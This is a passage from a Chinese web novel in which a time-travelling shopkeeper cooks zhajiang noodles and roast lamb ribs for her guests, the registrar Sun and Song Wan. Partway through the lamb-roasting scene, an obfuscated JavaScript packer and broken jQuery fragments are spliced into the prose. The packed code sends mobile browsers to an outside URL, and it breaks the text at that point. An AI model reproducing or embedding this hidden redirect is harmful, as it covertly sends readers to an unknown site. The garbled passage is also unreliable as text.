炸酱面主要是熬制炸酱，凉油放入姜片和八角，将香味炸出来，捞出后放入肥肉丁，煸炒至金黄，这时空气中就弥漫开来一股炸猪油的油脂香，放入瘦肉丁，再加入姜末。
最后加入调制好的酱料，大泡熬制成冒小泡，说明水份快熬干了，再放入葱花和香油，出锅前加一点蜂蜜，特别提香。
炸酱的好吃秘诀在于每一次加料都要将水分炒干。
这可是杜昭华学了现代京城朋友家的自制秘方，京城人家里的炸酱面可是招待外地朋友的最高礼遇，关系近的才能请到家里去吃到的哟。
不少人惋惜吃不到桃花馄饨了，但是炸酱面的到来为他们打开了一个新世界的大门。
孙主簿已经成为杜记的忠实粉丝，每次上新都会去尝试，正好今天是休沐日，有时间堂食。
炸酱面端上桌时，入眼便是肉香浓郁的炸酱、翠绿的黄瓜丝、嫩白的豆芽以及橙红的胡萝卜丝，色彩斑斓，让人赏心悦目。
将其拌匀后，他迫不及待地吃了一大口，初入口时，先是感受到炸酱的咸香，随后是肉丁的鲜香和菜蔬的清脆爽口，随着咀嚼，是筋道爽滑的面条混合着各种食材的口感在口中交织，令人回味无穷。
“店家，来一份生煎包。”
“生煎包没有了。”
刚买到生煎包的一书生拎着纸袋赶紧走，幸好他买到了，这是杜记最近新出的一样吃食，每天限量供应，他可是早早的就来排队了。
这边孙主簿吃完，并没有急着走，等客人都走得差不多了，他走上前去,笑容可掬道：“听说宋大郎的妹妹之前失足落水，是杜娘子救了她？”
“既然都听说了，那想必孙主簿已了解事情经过。”第一次见孙主簿就能看出他与宋县尉关系匪浅，他会知道也不稀奇。
孙主簿闻言眉头微微扬起，“我与宋大郎情同手足，既如此，杜娘子唤某孙三郎就行，叫孙主簿显得太生分。”
杜昭华顺从地改口道：“孙三郎。”
“那我们就是熟人了。”他环视一圈，见没有客人了，轻咳一声接着道：“最近来杜记买朝食的人太多了，我呢每天还要赶早上衙......”
原来在这里等着她，还绕了这么一大圈。
杜昭华忍不住翘起唇角，眸中盈上满满的笑意，“那孙三郎以后提前一天告知我，要买什么，我预先准备好。”
“那就这么说定了。”
“说定什么了？”一个女子的声音自门口传来。
“杜姐姐。”宋琬款步走入食肆中，身后跟着丫鬟霜降。
来人正是宋君衍的妹妹，自她身体好了之后，又亲自登门道谢了一番。
于杜昭华来说，第一次见面还是有些尴尬的，虽然当时是为了救人，但不管怎么说，做人工呼吸后，再次见到对方，多少有些不自在。
宋琬也明显听说了救治过程，小脸微红的同她致谢。
好在杜昭华还是脸皮更厚，不一会两人就熟络起来，宋琬刚好小她一岁，便称呼她姐姐，宋琬就时不时的来一趟杜记食肆。
“孙三郎怎么也在此？你和杜姐姐说定什么了？”宋琬好奇地打量两人。
“大人的事，你一个小孩就别管啦。”
宋琬闻言便不理会他，转身对杜昭华嫣然一笑道：“我这次带来了些樱桃给杜姐姐尝鲜。”
杜昭华无奈一笑，“之前不是说好了，不用每次来都带东西上门的。”
宋琬看了霜降一眼，她立马拎着食盒熟练地往后院走去。
“阿琬午食就在我这吃吧，午食吃炙羊排，绝对是你没有吃过的味道。”
还未等宋琬回应，孙三郎凑过去道：“杜娘子，加我一个吧，有什么需要我做的，尽管吩咐。”说完他觉得可能还不够真诚，怕杜娘子拒绝，接着道：“我明天也可以带些樱桃给杜娘子的。”
......
让孙三郎进厨房帮忙是不可能的，他只会帮倒忙，眼看各个都有活干，他一个大男人被晾在一边。
扫视一眼小院，终是找到了他能干的活——打井水。
今早特意买的一扇羊排，本意是一半清炖，一半烤着吃，现在得全部烤了，没有科技也是有好处的，羊肉都是现宰杀不久的，肉质新鲜。
羊排是杜昭华特意挑选的肥瘦相间的，放入蒜、姜、葱以及盐，再把雪梨切成片放进去，放点水果可以增添一些果香味，再加点蜂蜜腌制一会。
好的羊排不需要太多的调料，不然会掩盖羊肉本身的味道，接下里就是准备点香料。
杜昭华回身看了一眼本就不大的厨房，站了好几个人，赶忙道：“阿琬你可以去书房看书，或者和孙三郎下棋也可。”
本朝男女大防相对不严，女子可骑马、乘车参与郊游、宴饮。这两人还是远房表亲关系，据阿琬说，她母亲的表妹的堂姐嫁给了孙三郎母亲的庶弟的表兄。
她这个无论现代还是古代都是独女的人，实在是没有捋清这其中的关系。
宋琬的厨艺也就仅限于做一些糕点，还是婢女将食材都处理好的情况下，就这她就可以说这是她亲手做的糕点了，毕竟世家女子的厨艺都差不多是这种水平。
她留下霜降帮忙，与孙三郎一同离开了厨房。
宋琬却不愿意与孙三郎下棋，无他，他就是个臭棋篓子，还总是悔棋，她宁愿去书房看书。
孙三郎早就看到了院子中摆放的两个样式奇怪的椅子，他这会也不想着下棋的事了，径直走过去躺在椅子上。
随着后背缓缓下沉，躺椅发出细微的“吱吖”声，椅身带动身体摇摆，重心不稳让他慌张了下，但是很快他就发现了其中的乐趣，不自觉放松身体，待会要问下杜娘子哪里买来的。
一早就垒好的的烤炉，杜昭华并没有经常用，一开始用的时候，还很不顺手，也是磨合了好一阵后，才摸清了怎么控制这个烤炉的火力。
将炒香的花椒、胡椒、和孜然粒磨成粉末，再均匀的洒在羊排上，将羊排揉搓抓拌一下以便入味，放进烤炉中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811599|175263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
等烤羊排的香味慢慢飘出来，厨房里炖的东坡肉也快好了，一时间，小院里香味扑鼻。
看书的、摇躺椅的都坐不住了，眼巴巴地盯着烤炉看。
白荷娘也不禁走过去感叹，“好香啊！”
等杜昭华过来的时候，三人齐刷刷地歪头看向她，她脚步一顿，有一种嗷嗷待哺的雏鸟的感觉。
羊排从烤炉中拿出来时，光看金黄酥脆的外表就能看出味道一定不差的。
一刀切下去，直接流淌出汁水。
众人齐齐坐下，在美食面前，就连宋琬都在她人的劝说下，暂时放弃用餐礼仪，一个个都拿着一根羊排啃起来。
羊肉入口，油脂直接在嘴里爆开，外皮酥脆，内里鲜嫩多汁，孜然的香味瞬间弥漫，经过简单的腌制，羊肉的味道很纯，吃出了羊肉的原汁原味，香料完美地与羊肉融合，属于是画龙点睛之笔。
“杜娘子，这道炙羊排与八仙楼的炙羊肉相比也不逊色，为何食肆不卖这个？”孙三郎吃的满嘴流油，连忙拿出手帕擦拭。
“羊肉贵，香料更贵，眼下我这小食肆怕是难以承受。”
相比之下，宋琬的吃相就优雅多了，小口小口地吃着，“是加了安息茴香吗？府里的厨娘曾用这个炙羊肉，就是没有你做的入味，这做法还是我阿兄跟厨娘提的，我还没有见过其他人用这香料制作菜肴的。”
“是安息茴香，用来炙肉可以去腥、增香提味。”她没有说的是，她们吃的孜然还是她兄长送来的，此刻她很怀疑宋县尉送孜然，是厨娘做的不如他意，想看她能否做的好吃。
孙三郎注意到杜娘子说的是现在不做，的确这个食肆太小了，“杜娘子是想再开一家食肆吗？不知可否在宣阳坊开？宣阳坊不仅有皇亲国戚，官员也多，还因为挨着国子监，每年许多举子来此赁房备考春闱，万年县县衙也在此。”
他是半点也不提，宣阳坊竞争也大，关键是租金比她现在这个坊至少要翻两倍，想要租到铺面也很难，难道是她不想去吗？她还是赚的不够多。
杜昭华慢条斯理地开口：“正好也方便你来食肆吧。”
孙三郎嘿嘿一笑，低头继续啃羊排。
......
眼见着气温上升，杜昭华带着白荷娘整理下菜地，把原先买的种子一一种下，包括偷偷混入其中的辣椒种子，种花家人就是没有地也要在阳台搞种植，她就是曾经在阳台种菜的一员，因此她还是有信心种好的。
当然，她并不承认没有把全部的种子拿出来种，其实是心里有些心虚的，她的确在阳台种过菜，可是什么都没有种出来，可以说种什么，什么都死了。
现在不是还有白荷娘么，她种菜可是一把好手。
随着气温升高的还有香饮子的销量，杜昭华发现东坡肉的销量减少了一些，还不是很明显。
她想得提前做准备，逐渐少做些东坡肉和狮子头，也有段时间没有上新菜式了，正好菜贩今天送来了不少豆腐，那就做酿豆腐。